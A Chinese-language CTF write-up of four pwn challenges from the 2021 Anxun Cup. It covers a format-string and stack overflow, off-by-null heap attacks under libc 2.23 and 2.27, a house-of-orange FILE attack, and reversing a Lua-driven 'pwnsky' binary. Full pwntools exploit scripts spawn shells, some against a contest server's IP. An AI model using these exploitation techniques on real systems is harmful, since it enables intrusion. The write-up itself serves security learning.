前言
做了2021安洵杯线上赛题目，总体来说题目有简单有难的，难易程度合适，这次就做了pwn，把四道pwn题思路总结一下，重点是没几个人做出来的最后一道pwnsky，赛后做了复现。
PWN -> stack (stack overflow ,fmt)
题目分析
保护全开，存在栈溢出，格式化字符串漏洞
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
read(0, buf, 0x100uLL); // stackoverflow
printf(buf); // fmt
puts("--+--");
read(0, buf, 0x100uLL);
printf(buf);
return 0;
}
存在system、binsh：
int useless()
{
char v1; // [rsp+Fh] [rbp-1h]
return system((const char *)v1);
}
利用
- 格式化字符串泄露canary、processbaseaddr
- 栈溢出劫持控制流
exp
# -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
io = remote('47.108.195.119', 20113)
# libc = ELF('./libc-2.31.so')
#io = process('./ezstack')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
sla('请输入你的队伍名称:','SN-天虞')
sla('请输入你的id或名字:','一梦不醒')
useless = 0xA8c
pop_rdi = 0x0000000000000b03
binsh = 0x00B24
sl('%17$p@%11$p')
process = int(ru('@')[-14:],16) - 0x9dc
print hex(process)
canary = int(rn(18),16)
print hex(canary)
pay = 'a'* 0x18 + p64(canary) + p64(0xdeadbeef)+ p64(process + pop_rdi) + p64(process + binsh) + p64(process + useless)
sla('--+--\n',pay)
irt()
PWN -> noleak (offbynull,tcache bypass)
题目分析
保护全开，ida查看理清程序逻辑，特别是分析结构体，add和delete功能和chunk的idx索引怎么变化，然后就是edit是否存在漏洞，功能分析:
- 输入加密str进入程序，简单的亦或为
N0_py_1n_tHe_ct7 - 添加chunk，输入idx和size，在bss段有chunks结构体，最多10个chunk,没有判断chunk是否为null，可以重复添加
- 删除chunk，不存在uaf
- 编辑chunk，存在offbynull
- 查看chunk，输出内容
add函数：
unsigned __int64 add()
{
unsigned int v0; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
_DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u);
v2 = 0;
size[0] = 0;
puts("Index?");
__isoc99_scanf("%d", &v2);
if ( v2 > 9 )
{
puts("wrong and get out!");
exit(0);
}
puts("Size?");
__isoc99_scanf("%d", size);
v0 = v2;
(&chunks)[2 * v0] = malloc(size[0]);
if ( !(&chunks)[2 * v2] )
{
puts("error!");
exit(0);
}
LODWORD((&chunks)[2 * v2 + 1]) = size[0];
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
chunk结构体：
struct{
char* ptr;
int size;
}
编辑函数：
unsigned __int64 edit()
{
int v0; // eax
unsigned int v2; // [rsp+Ch] [rbp-14h] BYREF
_QWORD *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Index?");
__isoc99_scanf("%d", &v2);
if ( v2 > 9 )
exit(0);
if ( !(&chunks)[2 * v2] )
exit(0);
v3 = (&chunks)[2 * v2];
puts("content:");
v0 = read(0, (&chunks)[2 * v2], LODWORD((&chunks)[2 * v2 + 1]));
*((_BYTE *)v3 + v0) = 0; //offbynull
return __readfsqword(0x28u) ^ v4;
}
chunk的idx索引和数组索引一致。
当时做题只看了编译程序的ubuntu版本是16.04，就以为是libc-2.23，结果本地都打通了远程不行，后来才发现题目提供的libc是2.27的，eimo了，一下提供两个环境下的利用方式：
libc-2.23:
- unsorted bin leak libcaddr
- make chunk merge up to unsorted bin
- fastbin attack to malloc mallochook
- onegadget to getshell
libc-2.27（tcache）:
利用方式1：
填满tcache bypass tcache
- fill up the tcache and make chunk merge up by offbynull
- unsortedbin leak libcaddr
- add chunk to make chunk overlap
- tcache attack to malloc freehook
- malloc chunk to tigger system
利用方式2：
tcache只有64个单链表结构，每个链表最多7个chunk，64位机器上以16字节递增，从24到1032字节，所以tcache只能是no-large chunk，我们可以申请large chunk绕过tcache
- malloc large chunk and make chunk merge up by offbynull
- malloc chunk to leak libc addr
- fastbin attack to malloc freehook
- modify freehook to system
- free chunk to tigger system
exp
exp1 libc-2.23:
# -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('47.108.195.119', 20182)
# libc = ELF('./libc-2.31.so')
io = process('noleak1')
libc = ELF('/glibc/2.23/64/lib/libc.so.6')
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
def add(idx,size):
sl('1')
sla('Index?\n',str(idx))
sla('Size?\n',str(size))
def show(idx):
sl('2')
sla('Index?\n',str(idx))
def edit(idx,content):
sl('3')
sla('Index?\n',str(idx))
sa('content:\n',content)
def delete(idx):
sl('4')
sla('Index?\n',str(idx))
enc = [0x4E, 0x79, 0x5F, 0x5F, 0x30, 0x5F, 0x74, 0x63, 0x5F, 0x31,
0x48, 0x74, 0x70, 0x6E, 0x65, 0x37]
s = ''
for i in range(4):
for j in range(4):
s += chr(enc[4*j+i])
print s
#sla('请输入你的队伍名称:','SN-天虞')
#sla('请输入你的id或名字:','一梦不醒')
sl('N0_py_1n_tHe_ct7')
add(0,0xf0)
add(1,0x50)
delete(0)
add(0,0xf0)
show(0)
leak = uu64(rl())
lg('leak')
libcbase = leak - 0x3c3b78
lg('libcbase')
mallochook = libcbase + libc.symbols['__malloc_hook']
lg('mallochook')
system = libcbase + libc.symbols['system']
lg('system')
add(2,0xf0)
add(3,0x68)
add(4,0x68)
add(5,0x178)
add(6,0x10)
delete(2)
delete(3) # free to fastbin
edit(4,'a'*0x60+p64(0x100+0x70*2)) # offbynull
edit(5,'a'*0xf0+p64(0)+p64(0x81)) # fake chunk lastremainder
delete(5) # chunk Merge up to unsorted bin
add(5,0xf0+0x70) # malloc unsorted bin
edit(5,'a'*0xf0+p64(0)+p64(0x70)+p64(mallochook-0x23)) # modify chunk 3 fd to mallochook
# fastbin atttack
add(2,0x68)
add(3,0x68)
one = [0x45206,0x4525a,0xef9f4,0xf0897]
edit(3,'a'*0x13+p64(libcbase + one[2]))
#dbg()
add(2,0xf0)
irt()
exp2 libc-2.27：
# -*- coding: UTF-8 -*-
from pwn import *
#context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
io = remote('47.108.195.119', 20182)
# libc = ELF('./libc-2.31.so')
#io = process('noleak2')
libc = ELF('./libc.so.6')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
def add(idx,size):
sl('1')
sla('Index?\n',str(idx))
sla('Size?\n',str(size))
def show(idx):
sl('2')
sla('Index?\n',str(idx))
def edit(idx,content):
sl('3')
sla('Index?\n',str(idx))
sa('content:\n',content)
def delete(idx):
sl('4')
sla('Index?\n',str(idx))
enc = [0x4E, 0x79, 0x5F, 0x5F, 0x30, 0x5F, 0x74, 0x63, 0x5F, 0x31,
0x48, 0x74, 0x70, 0x6E, 0x65, 0x37]
s = ''
for i in range(4):
for j in range(4):
s += chr(enc[4*j+i])
print s
sla('请输入你的队伍名称:','SN-天虞')
sla('请输入你的id或名字:','一梦不醒')
sl('N0_py_1n_tHe_ct7')
for i in range(8):
add(i,0xf0)
add(8,0x178)
add(9,0x178)
for i in range(7): # 1-7
delete(i+1)
edit(8,b'a'*0x170+p64(0x980)) #off by null
edit(9,b'a'*0xf0+p64(0)+p64(0x81))
delete(0) #unsigned bin
delete(9) #chunk merge up to unsorted bin
for i in range(7):
add(i,0xf0)
add(0,0xf0)
show(0) # 0 1-8
leak = l64()
lg('leak')
#dbg()
libc_base = leak - 0x3b0230
lg('libc_base')
free_hook=libc_base+libc.sym['__free_hook']
lg('free_hook')
malloc_hook=libc_base+libc.sym['__malloc_hook']
lg('malloc_hook')
add(9,0xf0)
delete(6) # 6==9
#gdb.attach(p)
edit(9,p64(free_hook-0x8))
#dbg()
add(6,0xf0) # 6
add(9,0xf0) # 10
#add1(0xf0)
#gdb.attach(p)
edit(9,"/bin/sh\x00"+p64(libc_base+libc.sym['system']))
delete(9)
irt()
exp3 libc-2.27:
from pwn import *
p=process('./noleak2')
#p=remote('47.108.195.119',20182)
context.terminal = ["/usr/bin/tmux","sp","-h"]
context.log_level='debug'
elf=ELF('./noleak2')
libc=ELF('libc.so.6')
#gdb.attach(p,'b *$rebase(0xfc9)')
#p.sendline('n03tAck')
#p.sendline('1u1u')
p.sendlineafter('please input a str:','\x4e\x30\x5f\x70\x79\x5f\x31\x6e\x5f\x74\x48\x65\x5f\x63\x74\x37')
def menu(id):
p.sendlineafter('>',str(id))
def add(id,size):
menu(1)
p.sendlineafter('Index?\n',str(id))
p.sendlineafter('Size?\n',str(size))
def show(id):
menu(2)
p.sendlineafter('Index?\n',str(id))
def edit(id,content):
menu(3)
p.sendlineafter('Index?\n',str(id))
p.sendlineafter('content:\n',str(content))
def delete(id):
menu(4)
p.sendlineafter('Index?\n',str(id))
add(0,0x450)
add(1,0x18)
add(2,0x4f0)
add(3,0x18)
delete(0)
gdb.attach(p)
edit(1,'a'*0x10+p64(0x480))
delete(2)
add(0,0x450)
show(1)
leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
malloc_hook=leak+0x7f3223b9bc30-0x7f3223b9bca0
success('malloc_hook:'+hex(malloc_hook))
libc_base=malloc_hook-libc.sym['__malloc_hook']
success('libc_base:'+hex(libc_base))
add(2,0x18)
delete(2)
edit(1,p64(libc_base+libc.sym['__free_hook']))
add(4,0x10)
add(5,0x10)
edit(5,p64(libc_base+libc.sym['system']))
add(6,0x30)
edit(6,'/bin/sh\x00')
delete(6)
#gdb.attach(p)
p.interactive()
总结
这个题目做之前看程序是2.23的，结果做完了发现libc是2.27的，直接崩溃，又换了2.27的利用方式，最后看官方wp直接申请大chunk直接泄露地址，比我的要简洁些，所以就有了这三个版本的exp，题目中规中矩，常规题目。此次第一次遇见远程环境要输入队名和用户名，拿到shell后获取的是sky_token,拿token去换flag，为了防止py也是想尽了办法呀，哈哈。
PWN -> ezheap (heap overflow,no free,house of orange,IOfile)
题目分析
保护全开，环境libc-2.23，ida查看代码，
unsigned __int64 chng_wpn()
{
int size; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !*((_QWORD *)&name + 1) )
{
puts("you have no weapon");
exit(1);
}
puts("size of it");
__isoc99_scanf(&unk_E94, &size);
puts("name");
read(0, *((void **)&name + 1), size); // heap overflow
putchar(10);
return __readfsqword(0x28u) ^ v2;
}
gift函数输出heap地址。
分析程序功能：
- 输出heap地址
- add，申请空间，写入name，heap指针在bss段
- edit，堆溢出，只能编辑当前申请的chunk，不能编辑之前的
- show，输出当前chunk
利用
这种没有free函数的就用house of orange的思想，通过溢出将top chunk改小，申请比top chunk大的chunk的时候就会将top chunk释放入相应的bin目录，系统再次为topchunk申请内存，达到free效果，可以接着house of force申请大块内存到特定地址，从而申请到特定内存，去打freehook，malloc_hook;有时候申请大内存会报错，可以利用攻击IO_LIST_ALL制造fake io_file_plus结构体，覆盖flag为binsh，io_overflow_t为system来劫持控制流。iofile详细分析
- Overwrite top chunk size through heap overflow
- free top chunk to unsortedbin to leak libc
- fake io file_Plus structure attack IO list_all
- Call the add function to trigger iofile
exp
# -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('47.108.195.119', 20182)
# libc = ELF('./libc-2.31.so')
io = process('./pwn')
libc = ELF('/glibc/2.23/64/lib/libc.so.6')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
def add(idx,size):
sl('1')
sla('Index?\n',str(idx))
sla('Size?\n',str(size))
def show(idx):
sl('2')
sla('Index?\n',str(idx))
def edit(idx,content):
sl('3')
sla('Index?\n',str(idx))
sa('content:\n',content)
def delete(idx):
sl('4')
sla('Index?\n',str(idx))
#sla('请输入你的队伍名称:','SN-天虞')
#sla('请输入你的id或名字:','一梦不醒')
def menu(index):
sla("choice :",str(index))
def create(size,content):
menu(1)
sla("of it\n",str(size))
sa("ame?\n", content)
def show():
menu(3)
def edit(size,content):
menu(2)
sla("of it\n",str(size))
sa("ame\n", content)
heap = int(rl(),16) - 0x10
lg('heap')
create(0x20,"aaaaa\n")
edit(0x30,b"a"*0x28+p64(0xfb1)) # house of orange
create(0xff0,"bbbb\n")
create(0x48,"\n")
show()
ru("is : ")
info=uu64(rn(6))
lg("info")
libc_address= info - 0x3c410a
lg('libc_address')
malloc_hook = libc_address + libc.symbols['__malloc_hook']
lg('malloc_hook')
_IO_list_all_addr = libc_address + libc.sym['_IO_list_all']
lg('_IO_list_all_addr')
system_addr = libc_address + libc.sym['system']
lg('system_addr')
vtable_addr = heap + 0x178
fake = "/bin/sh\x00"+p64(0x61)
fake += p64(0xDEADBEEF)+p64(_IO_list_all_addr-0x10)
fake +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
fake = fake.ljust(0xc0,"\x00")
fake += p64(0)*3+p64(vtable_addr) # mode <=0
payload = 'a'*0x40
payload += fake
payload += 'a'*0x10
payload += p64(system_addr)
edit(len(payload),payload)
#dbg()
ru(": ")
sl('1')
irt()
总结
这个题目用到的知识点很老了，但是我也是很早学的iofile，长时间不用忘记了，比赛的时候只想到用house of force，结果在申请大的chunk的时候报错，一直就僵在那里了，这里house of orange也可以结合iofile进行利用，本人早在刚入门pwn的时候总结过iofile相关的东西，结果长时间不用都又还给别人了，eimo了。
PWN -> pwnsky
题目分析
题目附件给了一个lua.bin、pwn和一些依赖库，看到这就知道这个是个lua、c互调的程序，增加直观上的题目难度，题目程序保护全开，没有找到程序的编译版本，但是可以看到libc版本为2.31。首先题目给出的是lua.bin文件，为lua的字节码，首先需要反编译lua.bin，得到lua源码。
反编译lua
开源工具有两个，一个是luadec（c写的），一个是unluac（java写的），两个都可以。不过unluac支持最新5.4.x的版本反编译。java -jar unluac.jar lua.bin > lua.lua反编译后：
function Pwnsky(name)
local self = {}
local ServerInit = function()
self.name = name
self.account = 0
self.password = 0
self.is_login = 0
self.init = init
self.print_logo = print_logo
end
function self.info()
print("Server Info:")
local time = os.date("%c")
print("Server name: " .. self.name)
print("Date time: " .. time)
if self.is_login == 0 then
print("Account status: Not login")
else
print("Account status: Logined")
print("Account : " .. self.account)
end
end
function self.login()
print("pwnsky cloud cache login")
io.write("account:")
self.account = io.read("*number")
io.write("password:")
self.password = io.read("*number")
self.is_login = login(self.account, self.password)
if self.is_login == 1 then
print("login succeeded!")
else
print("login failed!")
end
end
function self.run()
while true do
io.write("$")
local ops = io.read("*l")
if ops == "login" then
self.login()
elseif ops == "info" then
self.info()
elseif ops == "add" then
if self.is_login == 1 then
print("size?")
size = io.read("*number")
idx = add_data(size)
print("Data index: " .. idx)
else
print("login first...")
end
elseif ops == "del" then
if self.is_login == 1 then
print("index?")
index = io.read("*number")
delete_data(index)
else
print("login first...")
end
elseif ops == "get" then
if self.is_login == 1 then
print("index?")
index = io.read("*number")
get_data(index)
else
print("login first...")
end
elseif ops == "help" then
print("commands:")
print("login")
print("info")
print("add")
print("del")
print("get")
print("exit")
elseif ops == "exit" then
print("exit")
break
end
end
end
ServerInit()
return self
end
function main()
alarm(60)
local pwn = Pwnsky("pwnsky cloud cache 1.0")
pwn:print_logo()
pwn:info()
pwn:init()
pwn:run()
end
可以看到程序的主函数逻辑是用lua写的，调用的相关函数是在pwn程序实现的，pwn程序启动首先加载lua.bin解析lua程序，
__int64 __fastcall sub_1DE9(__int64 a1, __int64 a2)
{
__int64 v3; // [rsp+0h] [rbp-10h]
v3 = luaL_newstate(a1, a2);
luaL_openlibs(v3);
if ( (unsigned int)luaL_loadfilex(v3, "lua.bin", 0LL)
|| (unsigned int)lua_pcallk(v3, 0LL, 0xFFFFFFFFLL, 0LL, 0LL, 0LL) )
{
puts("n");
}
lua_pushcclosure(v3, sub_1C51, 0LL);
lua_setglobal(v3, "print_logo");
lua_pushcclosure(v3, init_0, 0LL);
lua_setglobal(v3, "init");
lua_pushcclosure(v3, login, 0LL);
lua_setglobal(v3, "login");
lua_pushcclosure(v3, alarm_0, 0LL);
lua_setglobal(v3, "alarm");
lua_pushcclosure(v3, add_data, 0LL);
lua_setglobal(v3, "add_data");
lua_pushcclosure(v3, delete, 0LL);
lua_setglobal(v3, "delete_data");
lua_pushcclosure(v3, get_data, 0LL);
lua_setglobal(v3, "get_data");
return v3;
解题准备(patchelf,去除chroot)
结合给出的start文件(hint是比赛过程中放的)：
sudo chroot ./file/ ./pwn
hint1: 不要太依赖于F5哦。 hint2: 解密算法就是加密算法。
hint3: 需要在sub_17BB和sub_143A函数去除花指令，使其F5能够正确反编译。
可以看到程序需要chroot到当前文件夹，那么问题来了，有chroot 怎么用gdb怎么调试呢？太菜的我选择了将程序lua.bin改成./lua.bin,然后把依赖库放到/lib相应目录下，其实就一个lua的依赖库。我本地也是2.31的，这样就不用chroot了，可以直接运行。如果有大佬知道怎么不用patchelf路径就能gdb调试，请分享一下偶。
去除花指令
根据提示知道sub_17BB和sub_143A存在花指令，我说半天找不到关键函数。sub_17BB在有漏洞的地方加了花指令，使得ida反编译找看不出漏洞代码；在sub_143A函数加了花指令，使得ida分析login函数逻辑失败，查看代码发现sub_17BB函数有一场数据块可能是关键代码：
.text:00000000000019AC mov eax, 0
.text:00000000000019B1 call _printf
.text:00000000000019B6 lea r8, loc_19BD <------------花指令----------->
.text:00000000000019BD
.text:00000000000019BD loc_19BD: ; DATA XREF: sub_17BB+1FB↑o
.text:00000000000019BD push r8
.text:00000000000019BF add [rsp+38h+var_38], 0Dh
.text:00000000000019C4 retn
.text:00000000000019C4 ; ---------------------------------------------------------------------------
.text:00000000000019C5 db 0E9h, 23h, 0C5h
.text:00000000000019C8 dq 3DAF058D480000h, 48D26348E0558B00h, 0C08400B60FD0048Bh
.text:00000000000019C8 dq 3D97058D482A75h, 48D26348E0558B00h, 48F0458B48D0148Bh <----------异常数据块-------->
.text:00000000000019C8 dq 4800000001BAD001h, 0E800000000BFC689h, 1B8FFFFF724h
.text:0000000000001A10 db 0
.text:0000000000001A11 ; ---------------------------------------------------------------------------
.text:0000000000001A11
.text:0000000000001A11 loc_1A11: ; CODE XREF: sub_17BB+50↑j
可以看到异常数据块前有一些异常代码，将下一条命令地址赋给r8，然后入栈，rsp向下移动0xd，return，相当于啥没做，把0x19b6到0x19c4代码nop掉，还原逻辑如下：
.text:000000000000199F 48 89 C6 mov rsi, rax
.text:00000000000019A2 48 8D 05 03 17 00 00 lea rax, aGiftLlx ; "gift: %llx\n"
.text:00000000000019A9 48 89 C7 mov rdi, rax ; format
.text:00000000000019AC B8 00 00 00 00 mov eax, 0
.text:00000000000019B1 E8 1A F7 FF FF call _printf
.text:00000000000019B6 90 nop ; Keypatch filled range [0x19B6:0x19C4] (15 bytes), replaced:
.text:00000000000019B6 ; lea r8, loc_19BD
.text:00000000000019B6 ; push r8
.text:00000000000019B6 ; add [rsp+38h+var_38], 0Dh
.text:00000000000019B6 ; retn
.text:00000000000019B7 90 nop
.text:00000000000019B8 90 nop
.text:00000000000019B9 90 nop
.text:00000000000019BA 90 nop
.text:00000000000019BB 90 nop
.text:00000000000019BC 90 nop
.text:00000000000019BD 90 nop
.text:00000000000019BE 90 nop
.text:00000000000019BF 90 nop
.text:00000000000019C0 90 nop
.text:00000000000019C1 90 nop
.text:00000000000019C2 90 nop
.text:00000000000019C3 90 nop
.text:00000000000019C4 90 nop
.text:00000000000019C5 90 nop ; Keypatch modified this from:
.text:00000000000019C5 ; jmp near ptr 0DEEDh
.text:00000000000019C5 ; Keypatch padded NOP to next boundary: 4 bytes
.text:00000000000019C6 90 nop
.text:00000000000019C7 90 nop
.text:00000000000019C8 90 nop
.text:00000000000019C9 90 nop
.text:00000000000019CA 48 8D 05 AF 3D 00 00 lea rax, qword_5780
.text:00000000000019D1 8B 55 E0 mov edx, [rbp+var_20]
.text:00000000000019D4 48 63 D2 movsxd rdx, edx
.text:00000000000019D7 48 8B 04 D0 mov rax, [rax+rdx*8]
.text:00000000000019DB 0F B6 00 movzx eax, byte ptr [rax]
.text:00000000000019DE 84 C0 test al, al
另一个函数同样方法去花。
程序分析及功能
关键的功能有以下几个：
- login。用户名1000、密码为418894113通过验证；可还原异或加密（流加密）。
- add。申请一个chunk，个数0-100，有非空检查，size在0-4096之间会将chunk地址、size写到bss段，如果data[0]=0,则会多读一个字节，造成offbyone。
- get。输出非空chunk的context
- del。删除非空chunk。指针置零，不存在UAF。
init_0函数：
unsigned __int64 sub_1617()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
init_setvbuf();
seccomp(); //沙箱seccomp_rule_add(v1, 0LL, 59LL, 0LL); 禁用59号中断，不能getshell
init_key();//初始化key
return v1 - __readfsqword(0x28u);
}
login函数：
__int64 __fastcall sub_1663(__int64 a1)
{
__int64 result; // rax
__int64 pass[2]; // [rsp+10h] [rbp-10h] BYREF
pass[1] = __readfsqword(0x28u);
if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) )
{
LODWORD(pass[0]) = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL);
lua_settop(a1, 4294967294LL);
if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) )
{
HIDWORD(pass[0]) = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL);
lua_settop(a1, 4294967294LL);
encode(&key, pass, 4LL); // 0x6b8b4567327b23c6 key调试得到，真正生成的是在init函数中根据随机数生成的，不过是固定死的srand(0);
if ( pass[0] == 0x3E8717E5E48LL ) //这里ida反编译有点问题，实际上是pass[0]==0x3e8&&pass[1]==0x717e5e48,可以看汇编看出
lua_pushinteger(a1, 1LL);
else
lua_pushinteger(a1, 0LL);
result = 1LL;
}
else
{
error(
a1,
(int)"In function: login, account argument must a number",
"In function: login, account argument must a number");
result = 0LL;
}
}
else
{
error(
a1,
(int)"In function: login, password argument must a number",
"In function: login, password argument must a number");
result = 0LL;
}
return result;
}
unsigned __int64 __fastcall encode(__int64 *key, __int64 pass, unsigned __int64 len)
{
unsigned __int8 v5; // [rsp+23h] [rbp-1Dh]
int i; // [rsp+24h] [rbp-1Ch]
__int64 v7; // [rsp+30h] [rbp-10h] BYREF
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
v7 = *key;
for ( i = 0; len > i; ++i )
{
v5 = *((_BYTE *)&v7 + (((_BYTE)i + 2) & 7)) * (*((_BYTE *)&v7 + (i & 7)) + *((_BYTE *)&v7 + (((_BYTE)i + 1) & 7)))
+ *((_BYTE *)&v7 + (((_BYTE)i + 3) & 7));
*(_BYTE *)(i + pass) ^= v5 ^ table[v5];
*((_BYTE *)&v7 + (i & 7)) = 2 * v5 + 3;
if ( (i & 0xF) == 0 )
sub_143A(key, &v7, table[(unsigned __int8)i]);//反编译问题，v7是返回值，参数是key和table[i&0xff]
}
return v8 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall sub_143A(__int64 a1, __int64 a2, char a3)
{
int i; // [rsp+24h] [rbp-Ch]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 7; ++i )
{
*(_BYTE *)(i + a2) = *(_BYTE *)(i + a1) ^ table[*(unsigned __int8 *)(i + a1)];
*(_BYTE *)(i + a2) ^= (_BYTE)i + a3;
}
return v5 - __readfsqword(0x28u);
}
按照程序逻辑还原逻辑后将密文输入，就得到明文。
add函数：
__int64 __fastcall add_data(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
int size; // [rsp+18h] [rbp-18h]
int v5; // [rsp+1Ch] [rbp-14h]
unsigned __int64 j; // [rsp+20h] [rbp-10h]
if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) )
{
size = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL);
lua_settop(a1, 4294967294LL);
for ( i = 0; i <= 100 && qword_5780[i]; ++i )
{
if ( i == 100 )
return 0LL;
}
if ( size > 0 && size <= 4095 )
{
qword_5780[i] = malloc(size);
v3 = 0;
for ( j = 0LL; j < size; ++j )
{
v5 = read(0, (void *)(qword_5780[i] + j), 1uLL);
if ( *(_BYTE *)(qword_5780[i] + j) == 10 )
break;
if ( v5 > 0 )
v3 += v5;
}
dword_5AA0[i] = size;
encode(&key, qword_5780[i], v3); <----------加密存放--------->
lua_pushinteger(a1, i);
printf("gift: %llx\n", qword_5780[i] & 0xFFFLL); <----------输出chunk后3字节偏移-------->
if ( !*(_BYTE *)qword_5780[i] ) <-----------offbyone------------>
read(0, (void *)(qword_5780[i] + j), 1uLL);
result = 1LL;
}
else
{
result = 0LL;
}
}
else
{
error(
a1,
(int)"In function: add_data, first argument must a number",
"In function: add_data, first argument must a number");
result = 0LL;
}
return result;
}
到这里基本清楚程序存在offbyone漏洞，沙箱限制getshell，onegadgetsystem(‘/bin/sh’)不好用了，只能读取flag，可以构造orw读取flag，可通过制造堆块重叠来打__free_hook, 修改freehook为setcontext+61的思路去刷新环境，进行堆栈迁移，构造orw，读取flag。
这里setcontext+61关键的寄存器是rdx，setcontext+61片段如下：
.text:00000000000580DD mov rsp, [rdx+0A0h] <------setcontext+61------->刷新rsp到heap,指向orw ROP链
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
.text:000000000005810B jz loc_581C6
.text:00000000000581C6 loc_581C6: ; CODE XREF: setcontext+6B↑j
.text:00000000000581C6 mov rcx, [rdx+0A8h] <-----rcx = ret,入栈>
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581E5 ; } // starts at 580A0
.text:00000000000581EC ; __unwind {
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn <--------ret ->ret ->orw ROP >
